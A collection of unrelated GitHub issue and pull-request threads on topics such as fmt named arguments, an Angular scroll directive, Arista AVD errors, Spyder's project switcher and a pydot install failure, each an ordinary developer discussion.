Adds the Building Custom GitHub Actions Pluralsight Course

This PR adds a link to my "Building Custom GitHub Actions" course on Pluralsight.

@ecampidoglio your changes have been merged, thanks for your contribution 👍


710 - Create library model

Issue Number
https://github.com/AlexsLemonade/scpca-portal/issues/710
Purpose/Implementation Notes

This PR contains the initial creation of a Library model.
The Library model's initial attributes include general properties about a given library, including its scpca_id, format, modality, where or not it's multiplexed, and seq_unit and technology info parsed from the library's json metadata file. As well, the library's dir_path will be saved here.
One open question here pertains to how we intend to handle cell_counts, as non_multiplexed sample libraries pull values from filtered_cell_count, while multiplexed sample libraries retrieve their demux_cell_count_estimate attributes from a sample_cell_estimates dictionary included in library json files that have multiplexed samples.
Future PRs will include the implementation of this new model throughout the codebase.
Types of changes
What types of changes does your code introduce?

New feature (non-breaking change which adds functionality)

Functional tests
N/A
Checklist

[x] Lint and unit tests pass locally with my changes

Screenshots
N/A

Can we confirm that data_file_paths can receive a file path to a file that does not exist on the filesystem yet?

Good point about data_file_paths, we'll have to look into it when we want to utilize it. For now I've removed the attribute.

We should probably define the library/sample relationship on sample. So that project imports sample, sample imports library.

I'm with you on this. I've made the update.


Pin sybil to < 6.1

This is a temporary workaround until #249 is fixed.

There is something funny going on with branch protection using rulesets, now this PR got merged even if the tests were failing. I pushed a fix but what was merged was the unfixed versions. Not sure if we hit a race condition or what but I have been observing a lot of weird behavior with PRs being merged when merge queue tests failed and now this, which should have not been queued at all.


V2 updates: Example 02 & 03

Example 02 is now running well again & example 03 works for multiplexing data.
It's actually become significantly simpler to handle multiplexing acquisitions (& e.g. run them reversed), now that everything is defined in the task vs. define in task + dataset resources.


Bugfix/faster apps discovery

Issue

discovery of ftrack application actions is slow because avalon project document is queried for each of registered app on each discovery

changes

store project's applications to event data to not query project all the time but use already queried data

lovely. thanks for a quick fix.


Breadcrumbs not resetting when hitting "Try Again"

I have tried a few failed deployments now, each time I hit "Try Again" and am taken back to the selection screen. The breadcrumbs are not resetting:

We have addressed this and the solution will be part of an upcoming PR.


Extension causes high cpu load

ms-azuretools.vscode-azurefunctions-unresponsive.cpuprofile.txt

Issue Type: Performance
Extension Name: vscode-azurefunctions
Extension Version: 0.13.0
OS Version: Linux x64 4.15.0-43-generic
VSCode version: 1.30.0

:warning: Make sure to attach this file from your home-directory: /home/dirk/ms-azuretools.vscode-azurefunctions-unresponsive.cpuprofile.txt :warning:
Find more details here: https://github.com/Microsoft/vscode/wiki/Explain:-extension-causes-high-cpu-load

ms-azuretools.vscode-azurefunctions-unresponsive.cpuprofile.txt

Thanks for filing @Duffmann. It looks like most of the time is spent in module load, which we already have plans to fix by using webpack. @StephenWeatherford already did this for our docker extension (https://github.com/Microsoft/vscode-docker/pull/645) and we've seen good results so far.
Closing as duplicate of https://github.com/Microsoft/vscode-azurefunctions/issues/708


Feature request: markdown in post titles

I'd love to be able to use ~strikethrough~, code, underlines etc. in post titles.
A limited subset of markdown would be welcome :)

Closing as we're shutting down newsletters.


autocomplete in search bar is too slow and redirects to incorrect genes

If you type in a complete gene name and press enter quickly, the system will often default to an (incorrect) auto-complete of a fraction of the gene name.
For instance, I just typed in MS4A2 and pressed enter - the system instead redirected me to the gene page for MS2 (which I assume is the top autocomplete for "MS"). Problem seems to be that the autocomplete hasn't caught up with what's written in the search bar by the time a search is submitted.
Can we change this so that the actual information in the search bar gets used when a search is submitted, not whatever autocomplete thinks it should be?

Newer versions of typeahead.js seem to fix this.  Unfortunately, they also break everything.

I just fixed this in our version with this commit: https://github.com/statgen/gvs-public/commit/fcfba745cf5e168c2a7d63b650d0a803e79ae6b3 .  I don't have a PR for you, but feel free to copy those changes.


[Sustainability] fix bugs introduced in #2421

Fix page titles of disaster dashboard pages
Fix links for child places

thanks for the review!


How to share values between apps?

tray Version ( 0.12.0)
From an app, I am writing values using AppPreferences(context).
How to make another app read the values? (since the context used for the AppPreferences will be different for different applications)
I could not find any sample. Please share the idea.
Currently I tried using context.createPackageContext(writerApp) and using this context in the 2nd app while creating appPreferences. It is working, but it requires both the apps having same “android:sharedUserId”.
Is there any other way?

Hey @sruthe
tray is not designed to share its Preferences with other apps!
When you want to do this you have to stick to ContentProviders.

See also #134, #87 and #62


Support named arguments

Allows code like below:
int x = 1, y = 2;
fmt::print("point: ({x}, {y})", FMT_CAPTURE(x, y));

Wow, really impressive stuff! On a cursory glance, the implementation seems very reasonable, but I'd like to look into it in more details before merging. Does the name map handling add a lot of overhead?

I don't have any benchmark so I can't tell the numbers, but hopefully it won't add much overhead. What it does is simple: The args are distinguished into normal args and named args by fmt::arg(name, value), inside any formatting function, the named args will be extracted into a flat-map(name->index), the map uses stack space, no allocation needed, if there's no named args, I think the overhead here is negligible. In doing the formatting, there's small overhead that the parser needs to check whether it's arg_index or arg_name, if it's an arg_name, then a binary search is performed on the map.

I very much like the feature, but building maps of names arguments adds quite a bit to the compiled code size (bloat-test from format-benchmark) even when not using them:
Without named arguments: 34912 bytes
With named arguments: 256096 bytes
Could you move map construction from the individual formatting functions to BasicFormatter::format? This will bring the per-function call overhead to the old level. To do this you'll probably need to introduce a new type in Value::Type to represent a named argument (NamedArg object), something like:
  enum Type {
    // ...
    CSTRING, STRING, WSTRING, POINTER, CUSTOM,
    NAMED_ARG
  };

The real type will have to go to NamedArg.
Then the name map can be constructed dynamically in BasicFormatter::format by looking at the arguments of type NAMED_ARG. This only needs to be done if a format string contains an argument name, so there will be little overhead for the case when named arguments are not used.
Hope this makes sense.

Here's the result I got with MSVC2015 (x64):
Without named arguments: 98,304 bytes
With named arguments: 151,552 bytes
After moving the map sorting into BasicFormatter::format: 141,312 bytes
Not a big improvement :/

I meant moving not just map sorting but all map management to BasicFormatter::format so that the code
  template <typename... Args> \
  void func(arg_type arg0, const Args & ... args) { \
    typename fmt::internal::ArgArray<sizeof...(Args)>::Type array; \
   const int count = fmt::internal::NamedArgsCounter<Args...>::value; \
   typename fmt::internal::BasicArgMap<Char>::value_type mapArray[count + 1]; \
   fmt::internal::add_named_args<0>(mapArray, args...); \
   fmt::internal::BasicArgMap<Char> map(mapArray, count); \
   func(arg0, fmt::internal::make_arg_list<Char>(array, &map, fmt::internal::strip_name(args)...)); \
  }

becomes
  template <typename... Args> \
  void func(arg_type arg0, const Args & ... args) { \
    typename fmt::internal::ArgArray<sizeof...(Args)>::Type array; \
    func(arg0, fmt::internal::make_arg_list<Char>(array, args...)); \
  }

as it used to be. Then the compiled code size shouldn't increase (for user code). It won't be possible to fully allocate map on stack, but I think it's not critical. If desired this can be optimized by allocating some map elements on stack.

There are some problems:

NamedArg is not a single type, it's a templated wrapper, so you can't have a single NAMED_ARG type.
You have to store the names somewhere, if not in the map, then you have to add at least one more data member to Arg.
The storage strategy differs for args under MAX_PACKED_ARGS, this may add more complexity.
To build the map, you have to walk through the ArgList at runtime, find out which are named and add them to the map.

So...I don't think you can magically add names without paying something here.

Good points. Let try to answer and clarify my suggestion a bit:

NamedArg is not a single type, it's a templated wrapper, so you can't have a single NAMED_ARG type.

This can be addressed by making NamedArg wrap Arg, something like:
struct NamedArg {
  StringRef name;
  Arg arg;
};

NamedArg arg(StringRef name, T const& value) {
  NamedArg named_arg;
  named_arg.name = name;
  named_arg.arg = MakeValue<char>(value);
  named_arg.arg.type = make_type(value);
  return named_arg;
}

Then the type information will be captured by the Arg object inside NameArg.

You have to store the names somewhere, if not in the map, then you have to add at least one more data member to Arg.

Names can be stored in temporary NamedArg object which are constructed by fmt::arg anyway.

The storage strategy differs for args under MAX_PACKED_ARGS, this may add more complexity.

You are right, the storage strategy depends on MAX_PACKED_ARGS, but I don't think it affects named arguments. All the complexity is hidden in ArgList::operator[] which doesn't need to change. You can use it as is, the only difference in the proposed scheme is that it will return NAMED_ARG in addition to existing types.

To build the map, you have to walk through the ArgList at runtime, find out which are named and add them to the map.

Yes, but only if there are named arguments, so there will be no or little overhead when they are not used.

Note that the only "map management" thing left in the code was add_named_args, which should be nop (i.e. optimized away) if there's no named-args.

This is a bit more complicated than it seems. I haven't looked into it in details, but even adding a member to ArgList may cause noticeable code increase because an argument that used to be passed in registers now has to be copied onto stack and passed as an address.
If it sounds too complicated or unclear, I can try implementing the idea with additional NAMED_ARG type based  on your PR myself and we'll see if it works.

This can be addressed by making NamedArg wrap Arg, something like:

struct NamedArg {
  StringRef name;
  Arg arg;
};

Hmm, this seems recursive, Arg is based on Value which is a variant of possible types and now you're including NamedArg itself as one of the possible types?

Hmm, this seems recursive, Arg is based on Value which is a variant of possible types and now you're including NamedArg itself as one of the possible types?

Yes, but it's not a problem as Value can contain a pointer to (forward declared) NamedArg. Normally recursion depth will be only two or three (depending on how you count) unless someone writes something like this =):
fmt::format("{}", fmt::arg("x", fmt::arg("y", ...)));

which can be rejected at compile time.

Thanks for making the changes, the compiled code size is back to 34912 which is great! Two minor comments:

Since an argument name acts more like an identifier maybe we don't need a wide char version of it. What do you think?
An inline comment in https://github.com/cppformat/cppformat/pull/169/files#r32016076

Otherwise this looks good and I'm happy to merge this in.

And one more thing: could you squash the WIP commits to keep the history clean? Thanks!

I'm not too familiar with git commands, what should I do to squash the commits? (I'll google it...)
That was a merge mistake.
You have to convert wchar_t string to char string first or how could you compare them?

I'm not too familiar with git commands, what should I do to squash the commits? (I'll google it...)

Answers to this SO question might help.

You have to convert wchar_t string to char string first or how could you compare them?

I guess conversion is the only way with std::map. If names where stored in a sorted array one could use binary search and std::lexicographical_compare which can handle different types. Maybe let's keep wide strings for now and discuss this question separately.

Close this for a new PR.


Implementation scenarios

Introduction
After the work on UX design, adding the features of the scenarios modelling

Impl Input à partir d’un logiciel de planification de transports
Impl 1. Avoid
Impl 2. Shift
Impl Results of the transport demand measures
Impl 3. Improve: Penetration of alternative energies
Impl 4. Improve: Adjustment of fuel/energy consumption

Included in MVP2 Design


problem implementing external links using the api

Hi guys!
I have implemented this angular-scroll api :https://github.com/oblador/angular-scroll, to show a catalog of products, where the content is loaded from db. this catalog has all the subcategories (with its products) and every subcategory has an anchor identified like: anchor+categoryId.
So from the menu , i click a category and it scroll nicely to the correct section.
The problem arise when I need to create some links from other pages of the site, to go to an specific section category inside the catalog. Because I have ng-route, i need to create a new url to redirect to the catalog, and there capture when the content is loaded to do the scroll to the required category.
BUT I have a directive associated with the route of the catalog, that looks for the partials depending on the domain of the client, so to show the correct template i have to use an $http , get the content and replace it in my directive.
Because that I dont know how i can know when the content of the directive is ready to make the call to the scroll... better show some code here :
this is  the route that is receiving the call
    $routeProvider.
        when('/products/category/:categoryId/page/:page/anchor/:anchorId?', {
            template:'<product-display-view></product-display-view>',
            controller: 'ProductListCtrl',
            access: {
                authorizedRoles: [USER_ROLES.all]
            },
            resolve: {
                wait : 'waitForIt',
                prefetchDataProducts: ['waitForIt','$route','SearchService',
                    function(waitForIt,$route,SearchService) {
                        return waitForIt.then(function() {

                            return SearchService.getProducts($route.current.params.categoryId,$route.current.params.page);

                        });
                    }],
                prefetchDataCategories:['waitForIt','CategoryService',
                    function(waitForIt,CategoryService) {

                        return waitForIt.then(function() {

                            return CategoryService.getCategories();

                        });
                    }]
            }
        }).

this is the directive product-display

    productDirectives.directive('productDisplayView',['$rootScope','$compile','$http','$templateCache'  ,'$document',
        function($rootScope,$compile, $http, $templateCache,$document){

            return {

                restrict: 'E',
                link: function (scope, element, attrs) {

                    var templateUrl = 'users/catwizardAngularCore/app/partials/themes/' + scope.app.theme.themeName + '/partials/product-display.html';

                    $http.get(templateUrl, {cache: $templateCache})
                        .success(function (templateContent) {

                            element.replaceWith($compile(templateContent)(scope));

                        });

                    /* this doesn't work because the someElement doesn't exist*/
                    var newHash = 'anchor' + scope.anchorId;
                    var someElement = angular.element(document.getElementById(newHash));
                    angular.element(someElement).ready(function () {

                        $document.scrollToElement(someElement, 200, 2000);

                    });

                }

            }]);

I just added a $timeout to wait and get the element i have to scroll to.


More than 4 levels?

Great plugin!
Is it correct, that it only supports folder levels up to 4 levels deep? If I manually add another "label/" in the granularity field, it seems to ignore it?

That's correct. I have never really liked the way I have this option depicted, so I will continue to think of ways to improve it and make it more flexible.

Ok. I've been toying around with the logic how these groups are decided a bit, but more complex then I hoped :) The current implementation just looks at strings and ordering by name (as far as I could tell) and groups accordingly. But that seems to mean it glitches sometimes. Putting stuff that is in a subgroup not directly next to it's parent.
I tried figuring out a way to look at the actual tree structure of the groups and have different margins between them. E.g., if it's a subgroup, place it closer to it's parent, and more spacing between root-folders etc.. But it's harder than I thought :)

The group bounds are defined by the "granularity" setting, but beyond that, you are right, there are no other considerations for group relationships. Considering the plugin is in a solid state (core functionality in place, no bugs that I am aware of), these are the types of ideas I will evaluate to continue to improve the plugin. Thank you!

I would like to let you know that the latest update adds support for more than four levels. Please give it a spin!


Page seems to be outdated

This page seems to be a little bit outdated. For example, Joins, aggregates, and sorts are currently working for ADLS g2/blob to Azure Synapse Analytics, but this page says it doesnt. Could it be updated?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 066808bd-cf93-7fa7-d84c-fb2da46558ab
Version Independent ID: 415a5039-44e1-0654-10e2-ca4916732df3
Content: PolyBase features and limitations - SQL Server
Content Source: docs/relational-databases/polybase/polybase-versioned-feature-summary.md
Product: sql
Technology: polybase
GitHub Login: @MikeRayMSFT
Microsoft Alias: mikeray

@dedvds -- thank you for your feedback.
@MikeRayMSFT -- please look into this issue.

@dedvds -- David, thanks for your patience. I'm reviewing an update per your recommendation.

@MikeRayMSFT , @WilliamAntonRohm, many thanks for taking the time to update this page. We'll see the page updated in the future.


⚠ BCR Bot has degraded performance

In d8fe45f, BCR Bot (https://bcr.alternativasinteligentes.com/BCRApi/web/chatbot) experienced degraded performance:

HTTP code: 200
Response time: 862 ms

Resolved: BCR Bot performance has improved in 00c22b0.


Illegal operation on a directory

Short description of the problem:
On running each command except ionic serve, so for example on running ionic cordova emulate android -lc I get now this error:
Error: EISDIR: illegal operation on a directory, unlink '/home/michi/software/workspace/web-client-ionic/www/assets/fonts/roboto'
I have this error after upgrading @ionic/app-scripts and ionic-cli. If I remove the folder there is now problem with the build process.
cli packages: (/usr/lib/node_modules)
    @ionic/cli-utils  : 1.9.2
    ionic (Ionic CLI) : 3.9.2

global packages:
    Cordova CLI : 7.0.1

local packages:
    @ionic/app-scripts : 2.1.4
    Cordova Platforms  : android 6.2.3
    Ionic Framework    : ionic-angular 3.6.0

System:
    Android SDK Tools : 26.0.2
    Node              : v6.11.2
    npm               : 5.3.0
    OS                : Linux 4.10

I had the exact same problem as you. I assume you have your font files in /src/assets/fonts/roboto . What I did is take the roboto folder up two levels, directly in assets , make the corresponding modifications to the routes in the scss. I also deleted the www folder just in case. Don't worry about deleting it because the system creates the 'www' folder if missing. I compiled it again and it worked.
It's a tricky issue because I only got this error building for Android, the iOS building went smoothly even though the roboto folder were inside assets/fonts.
Hope this helps.


Easy way to capture the entire dashboard, or even all teh dashboards, in one click

Suggested by @glommer

Please explain what you mean

one button to capture and share the entire dashboard

@tzach The description is still unclear, what do you want to capture? the image the data?
do you want to share the dashboards to an external service?
See: http://docs.grafana.org/reference/sharing/

The image of the data.
I currently use Fireshot browser plugin for that, but it would be nice if we could embed something into our monitor

Which plugin?
Does it take a screen capture or more than that?

Have you tried the shard button on the top of the dashboard?

I am assuming you mean "share"

which of those three would generate an image file ?

share of course (too much time spent today on working on the dashboard by shard).
unfortunately, I couldn't find an option to create an image from the entire dashboard, it is possible to export the dashboard with the data.
BTW saving a panel as an image is available per panel (on a panel choose: share/link/Direct link rendered image)
But it does not cover what you want


Image aren't showing in the panel

The images and id images are not showing the voyager panel in users page.

This issues is solved

Solved


Data performance improvements

Remove waste operation in case when one record received in __change_data
Set record = [] immediately, and not after additional verification in __apply_workflow

Not actual more


Fix copies for linalg.svd python bindings layer in ChainerX

With reference to #6764.

Jenkins, test this please.

Jenkins CI test (for commit 87128296f4108c37f9d67bf52f92d5073318d7e6, target branch master) failed with status FAILURE.

Thanks, LGTM. The CI failure is unrelated.


refact: Throw error when using FamousEngine#init in a web worker

FamousEngine#init can only be used when we have access to the global window
object. We should throw an error in that case to avoid obscure stack traces.

landed as 9fbdb36


[BUG] Pot prepare is broken in pot 0.11

Describe the bug
Pot 0.11 introduced the new 'pot.stack' parameter to jail configurations. Pot prepare creates a jail 'pot.conf' with two 'pot.stack=ipv4' lines breaking pot start $jail. It doesn't create the epair interface required to attach the jail to the public bridge.
To Reproduce
Steps to reproduce the behavior:

Create a pot with network type inherit.
Export the pot as image.
Prepare a jail from the image.
Start the jail.
The enter the jail and run ifconfig -l.
Run ifconfig -l on the host.
There neither contain either end of an epair interface for the jail.
Run fgrep pot.stack $jail_pot_conf | wc -l on the jail pot.conf. It returns two instead of the expected single line.
Manually removing one of the offending 'pot.stack=ipv4' lines allows the jail to start as expected.

Expected behavior
Pot prepare should continue to work like it did in pot 0.10. It should create a epair, add one end to the bridge and pass the other end to the jail's network stack. Extending the new support for IPv6 and IPv6+IPv4 to prepared jails would be nice to have.

Thanks for reporting. prepare is not yet part of the CI and I didn't detected this regression.
It's a bug in clone, a fix is on the way
While here, I'm going to add the -S option for the network stack to prepare as well

Tests are successful, I'm preparing a fix release.

The bugfix added a new bug. A pipe at the end of the line is missing causing two grep calls to be combined into one grep call with the arguments of both.


Add link from the repo to the website

There is an option for that on GitHub, right on the main repo page, next to the project description line.

Thanks - this had already been placed at the main repository, but the more the better. Now also done for the Editor and Viewer Repo

ahhh I see.. makes sense there ... I did not think of looking there.
perfect now! :-)


Typo "admininistration" in documentation

While following the documentation for this repository I noticed that there is a typo which breaks the plugin.
Please change "admininistration" to "administration" in the file path under the headline "Injecting into the administration" in the documentation on how to "Add new module to administration."
https://docs.shopware.com/en/shopware-platform-dev-en/how-to/custom-module?category=shopware-platform-dev-en/how-to

thanks for the hint @tc-Jana :+1:
I created an internal PR for that, as it was wrong in almost every admin doc fiel :smile: :see_no_evil:
Will be fixed soon


The app_id doesn't work for multiprocessing example

examples/multiprocessing/main.py calls rr.init("multiprocessing") yet shows up in the viewer under unknown_app_id

Fixed


It should be safe to run the command against an existing database

Right now running it twice with the same options produces this:
sqlite3.IntegrityError: UNIQUE constraint failed: pypi_packages.name

Embarrassing: I shipped 0.2.1 without having pushed the commit!
I have yanked the 0.2.1 release on PyPI, about to ship 0.2.2.


feat: implement pagination for moderation

Resolves #629
🔧 What changed
Before we were using a moderation store to conditionally render certain commits. Now we use the params and paginations in order to use the native browser buttons.
🧪 Testing instructions
No tests were added. Since it was refactoring the other tests were still needed to pass.
📸 Screenshots

After

https://www.loom.com/share/5fd7daff22d8412da736d865cbb0ae0a

looks great! nice rework of this 👍 Do we still need the /[id].vue page? or is there a vue router programmatic way to add/register this route instead of having a page? That would be better since 1) this page isn't publicly exposed 2) I don't think it needs to be a full page with a page refresh. The edit page is more of a component than a full page to me. I'll approve and merge, but please investigate if it's possible. We can do in a separate PR/issue

This is the way that Nuxt and vue use routing as seen in the documentation as a NuxtPage in this documentation here:
https://nuxt.com/docs/getting-started/routing
I cannot seem to see if there is another way. I looked before implementing this. Should I see if there is a different workaround to how Nuxt Routes?


Selenium 4 Devtools does not work without Ingress

Should provide -callback-url flag to be able to explicitly specify service host and port.

Fixed in https://github.com/aerokube/moon2/pull/96.


Cannot create an Alpaca Bracket order with entry of type LimitOrder

Current code assumes the entry order is of type Market.
        val alpacaOrder = api.requestMarketBracketOrder(
            entry.asset.symbol,
            qty,
            side,
            tif,
            tp.limit,
            sl.stop,
            sl.limit
        )

Indeed the current broker implementation of alpaca doesn't yet support all the order types that alpaca does.
I assume a few more are missing, but this is indeed a commonly used one.
Good thing is that alpaca has an easy api, so typically only few if/then lines to add it.
PR are welcome of course, but otherwise I'll add it.

I added support for it. Not yet fully tested, but already available in the latest 2.1.0-SNAPSHOT release of roboquant.


comparingOnlyFields doesn't work with compairing lists of objects

comparingOnlyFields doesn't work with compairing lists of objects

assertj core version: assertj-core-3.24.2
java version: 17
test framework version:
os (if relevant):

I wanna compare two lists, to make sure, that all Person in list has different id. Seems that next code should do that.
assertThat(oldPersonsExpected)
.usingRecursiveComparison()
.ignoringCollectionOrder()
.comparingOnlyFields("id")
.isNotEqualTo(newPersonsExpected);
But it doesn't work until i add "." to list of compairing fields. Don't know why it works with   .comparingOnlyFields(".", "id")
Add a test case showing the bug that we can run
class Person {
         private UUID id;
         private UUID userId;

         Person(UUID id, UUID userId) {
             this.id = id;
             this.userId = userId;
         }
     }

    @Test
    public void aaa() {
        UUID one = UUID.randomUUID();
        UUID two = UUID.randomUUID();
        UUID three = UUID.randomUUID();
        UUID four = UUID.randomUUID();
        List<Person> oldPersonsExpected = Arrays.asList(
                        new Person(
                                one,
                                one
                        ),
                        new Person(
                                two,
                                two
                        )
                );
        List<Person> newPersonsExpected = Arrays.asList(
                        new Person(
                                three,
                                one
                        ),
                        new Person(
                                four,
                                two
                        )
                );
        assertThat(oldPersonsExpected)
                .usingRecursiveComparison()
                .ignoringCollectionOrder()
                .comparingOnlyFields(
              //             ".",
                        "id")
                .isNotEqualTo(newPersonsExpected);
    }
    ```

Oh, really, updating to 3.25.0 works. Thanks a lot!


PR: Compute Projects switcher results in a worker to avoid freezes

Description of Changes

Since the initial implementation was synchronous, the interface was freezing when using the Switcher with large projects (i.e. projects that have more than 1000 files).
Highlight matched characters of Projects switcher results that match the searched text.
Remove binary files from the results computed by fzf because they can't be opened in the editor.
Fix process workers because they were not working as expected.
Simplify the way sections are shown in the Switcher, which was not very efficient and hard to understand.
Improve test that checks the integration between Projects and the Switcher.
Set app and monospace interface fonts when running single main window tests. That avoids a ton of Qt warnings to be displayed.

Issue(s) Resolved

Fixes #20940.
Affirmation
By submitting this Pull Request or typing my (user)name below,
I affirm the Developer Certificate of Origin
with respect to all commits and content included in this PR,
and understand I am releasing the same under Spyder's MIT (Expat) license.

I certify the above statement is true and correct: @ccordoba12

I was checking this locally and seems like there is some delays still for certain files? I tried with a dummy project with a lot of .parquet files and I noticed a lot of lag and I noticed a lot of lag and also the files not appearing vs checking .py was more quick.

I was using encoding.is_text_file to detect binary files and exclude them from the switcher results. That's necessary because they can't be opened in the Editor, so there's no value in showing them. But I didn't realized that that's quite expensive for large binary files.
However, I changed that to simply compare the file extension of the fzf results with the list of extensions that can be opened in the editor, and the lag was removed for me. So, please test again.

Checked with latest master and although there you can sense some general lag it shows the .parquet as well as the .py files

As I said, there's no value in showing binary files if you want to quickly find and open a project file in the editor.

Also, I was thinking and maybe adding/showing some sort of loading indicator while searching could be worthy?

I agree, but that's a UI improvement that I have planned for later.

@dalthviz, besides fixing the problem you reported in your last review, I also added some changes to prevent trying to populate the switcher when closing it.

Thanks for the fixes @ccordoba12 ! Checked again and the pointed elements look good now :+1: . However while checking again, I realized that I haven't checked this without fzf installed and seems like in that case another weird behavior happens. Seems like without fzf the open files filtering doesn't work :/

However while checking again, I realized that I haven't checked this without fzf installed and seems like in that case another weird behavior happens

Thanks for noticing that @dalthviz! It should be fixed now with my last commits.
When I was doing those changes, I also noticed that we don't need to create a special, unnecessary dependency between the Switcher and Projects. So, I decided to remove it.

Checked again @ccordoba12 and seems like while the filtering works without fzf, when it is installed the project section always shows regardles of the text in the search line edit?:

Also, should we add some tests for the different scenarios we have been discussing here (trying to search for a binary file, trying to search with and without fzf available, searching for a non existent file, etc)?

and seems like while the filtering works without fzf

Great!

when it is installed the project section always shows regardles of the text in the search line edit?

Yep, that's the behavior implemented before and I kept it in this PR too. I think that's more a UX issue than a backend problem (which is what I'm trying to fix here), so it should be left for later. In addition, we're currently discussing about that in our UX meetings and haven't decided what to yet.

However, before merging, do you think that adding more tests is worthy?

Good point and sorry for missing the comment you posted above it (I just read it):

Also, should we add some tests for the different scenarios we have been discussing here (trying to search for a binary file, trying to search with and without fzf available, searching for a non existent file, etc)?

I'll expand our current test for the projects/switcher integration to cover those scenarios as well.

Test improved, so I'm going to merge this one.
Thanks @dalthviz for all your help!


Duplicate interface name Ethernet99 found while generating ethernet_interfaces for underlay peer

Issue Summary
My customer campus lan projext was running well with Pre-release v4.0.0-dev10, but with latest devel as of Arpril 21. 2023 I receive the following error message:
'''
The full traceback is:
Traceback (most recent call last):
File "/arista/roles/ansible-avd/ansible_collections/arista/avd/plugins/action/yaml_templates_to_facts.py", line 189, in run
template_result_data = cls_instance.render()
File "/arista/roles/ansible-avd/ansible_collections/arista/avd/plugins/plugin_utils/avdfacts.py", line 64, in render
return {key: getattr(self, key) for key in self.keys() if getattr(self, key) is not None}
File "/arista/roles/ansible-avd/ansible_collections/arista/avd/plugins/plugin_utils/avdfacts.py", line 64, in
return {key: getattr(self, key) for key in self.keys() if getattr(self, key) is not None}
File "/usr/lib/python3.9/functools.py", line 969, in get
val = self.func(instance)
File "/arista/roles/ansible-avd/ansible_collections/arista/avd/roles/eos_designs/python_modules/underlay/ethernet_interfaces.py", line 131, in ethernet_interfaces
raise AristaAvdError(
ansible_collections.arista.avd.plugins.plugin_utils.errors.errors.AristaAvdError: Duplicate interface name Ethernet99 found while generating ethernet_interfaces for underlay peer: distri-10-02.LAN.MU, peer_interface: Ethernet5. Description on duplicate interface name: DISTRI-10-01.LAN.MU_Ethernet5
fatal: [access-10-103-01.LAN.MU -> localhost]: FAILED! => {
"changed": false,
"msg": "Duplicate interface name Ethernet99 found while generating ethernet_interfaces for underlay peer: distri-10-02.LAN.MU, peer_interface: Ethernet5. Description on duplicate interface name: DISTRI-10-01.LAN.MU_Ethernet5"
}
'''
I have seen that have recently been a change in tat python file:
Refactor(eos_designs): ethernet_interfaces python module as per eos_cli_config_gen #2627
I have not been able to find the root cause so far.
Could you please support me on this. Thank you
Which component(s) of AVD impacted
eos_designs
How do you run AVD ?
Ansible CLI with AVD Runner
Steps to reproduce
No response
Relevant log output
The full traceback is:
Traceback (most recent call last):
  File "/arista/roles/ansible-avd/ansible_collections/arista/avd/plugins/action/yaml_templates_to_facts.py", line 189, in run
    template_result_data = cls_instance.render()
  File "/arista/roles/ansible-avd/ansible_collections/arista/avd/plugins/plugin_utils/avdfacts.py", line 64, in render
    return {key: getattr(self, key) for key in self.keys() if getattr(self, key) is not None}
  File "/arista/roles/ansible-avd/ansible_collections/arista/avd/plugins/plugin_utils/avdfacts.py", line 64, in <dictcomp>
    return {key: getattr(self, key) for key in self.keys() if getattr(self, key) is not None}
  File "/usr/lib/python3.9/functools.py", line 969, in __get__
    val = self.func(instance)
  File "/arista/roles/ansible-avd/ansible_collections/arista/avd/roles/eos_designs/python_modules/underlay/ethernet_interfaces.py", line 131, in ethernet_interfaces
    raise AristaAvdError(
ansible_collections.arista.avd.plugins.plugin_utils.errors.errors.AristaAvdError: Duplicate interface name Ethernet99 found while generating ethernet_interfaces for underlay peer: distri-10-02.LAN.MU, peer_interface: Ethernet5. Description on duplicate interface name: DISTRI-10-01.LAN.MU_Ethernet5
fatal: [access-10-103-01.LAN.MU -> localhost]: FAILED! => {
    "changed": false,
    "msg": "Duplicate interface name Ethernet99 found while generating ethernet_interfaces for underlay peer: distri-10-02.LAN.MU, peer_interface: Ethernet5. Description on duplicate interface name: DISTRI-10-01.LAN.MU_Ethernet5"
}

Contributing Guide

[X] I agree to follow this project's Code of Conduct

Hello @kmueller68 - the previous version of the code was making it possible to have multiple time some Ethernet interface being rendered by the various modules which would lead to the latest version of the interface "winning" the race if you want and making it to the final structured_config.
The new guard in place is there to avoid these kinds of "undefined-ish" scenarii.
What this error should  mean is that the current set of input variables will lead the underlay module to render twice Ethernet99 with different configurations and only the latest version will win and so probably something is not right. That being said - this is quite new and it is not impossible that something was missed during adding this guard so I think it is worth investigating further.
I guess it may be complex to help further on your issue without seeing the configuration that leads to this interface being configured. Would you mind maybe sharing some info on this thread if possible or getting in touch to take a look at your current inputs?

Hello @gmuloc thank you for your fast reply.
I could offer you my project to run it local in your environment.
I have already uploaded it to an fileexhcnage... how could I send you the login directly?

Thank you very much for your support on resolving this error.


More contained setup

Aim is to make setting up this plugin easier and more contained.  See #9
Couple points:

I tried to contain from changing the configs and defaults too much for this already big pr, we can do it on a followup rp
The folder name scripts might not be ideal, i'll happily change it to something else
Not sure if it's a good idea to mess with sketchybar default item and bar settings, maybe later we can add them to the specific items and leave the defaults alone.

Let me know if i missed anything or can do better with some files :)

LGTM! Thanks for contributing.


Disallow old-style positional only args (starting with double underscore)

Duplicate of #173

I guess I should not open issues in the morning...

https://youtu.be/gAWpHbV6cwc?si=Z5LgsKmYEgQBdlH0


upgrade ecs modules to latest version

upgrade ecs modules to latest version to implement security measure - https://github.com/companieshouse/terraform-modules/pull/309/files

CI: Security warnings found!


Proper error/warning outputs

Protogen should output warnings and errors in the same format as a compiler, so that IDEs can provide a proper UI for users to click on, which will take them directly to the faulty line of the xml file.

Had to write my own xml parser (boy is that lame), but errors and warnings now include line numbers, and are properly formatted to be understood by IDEs.


Added Tauri to JS Frameworks

Added Tauri to JS Frameworks list,  it allows to make desktop applications, and soon will allow mobile apps.

@Lshiroc Thank you for the PR. It's already listed under the rust language section.


Rust installation instructions

The square brackets show up

I think we also need to automate this in future:
https://github.com/near/create-near-app/issues/374

@janedegtiareva can you fix conflicting files here?

This will get added to https://github.com/near/create-near-app/pull/389 to minimize merge conflicts


Cannot install pydot for Python3 via pip

pip3 install pydot returns
Collecting pydot
  Downloading pydot-1.0.2.tar.gz
    Complete output from command python setup.py egg_info:
    Traceback (most recent call last):
      File "<string>", line 20, in <module>
      File "/private/var/folders/35/xqrmy3y91wz2zzs0c33jl4m00000gn/T/pip-build-vtolqv73/pydot/setup.py", line 5
        except ImportError, excp:
                          ^
    SyntaxError: invalid syntax

    ----------------------------------------
Command "python setup.py egg_info" failed with error code 1 in /private/var/folders/35/xqrmy3y91wz2zzs0c33jl4m00000gn/T/pip-build-vtolqv73/pydot

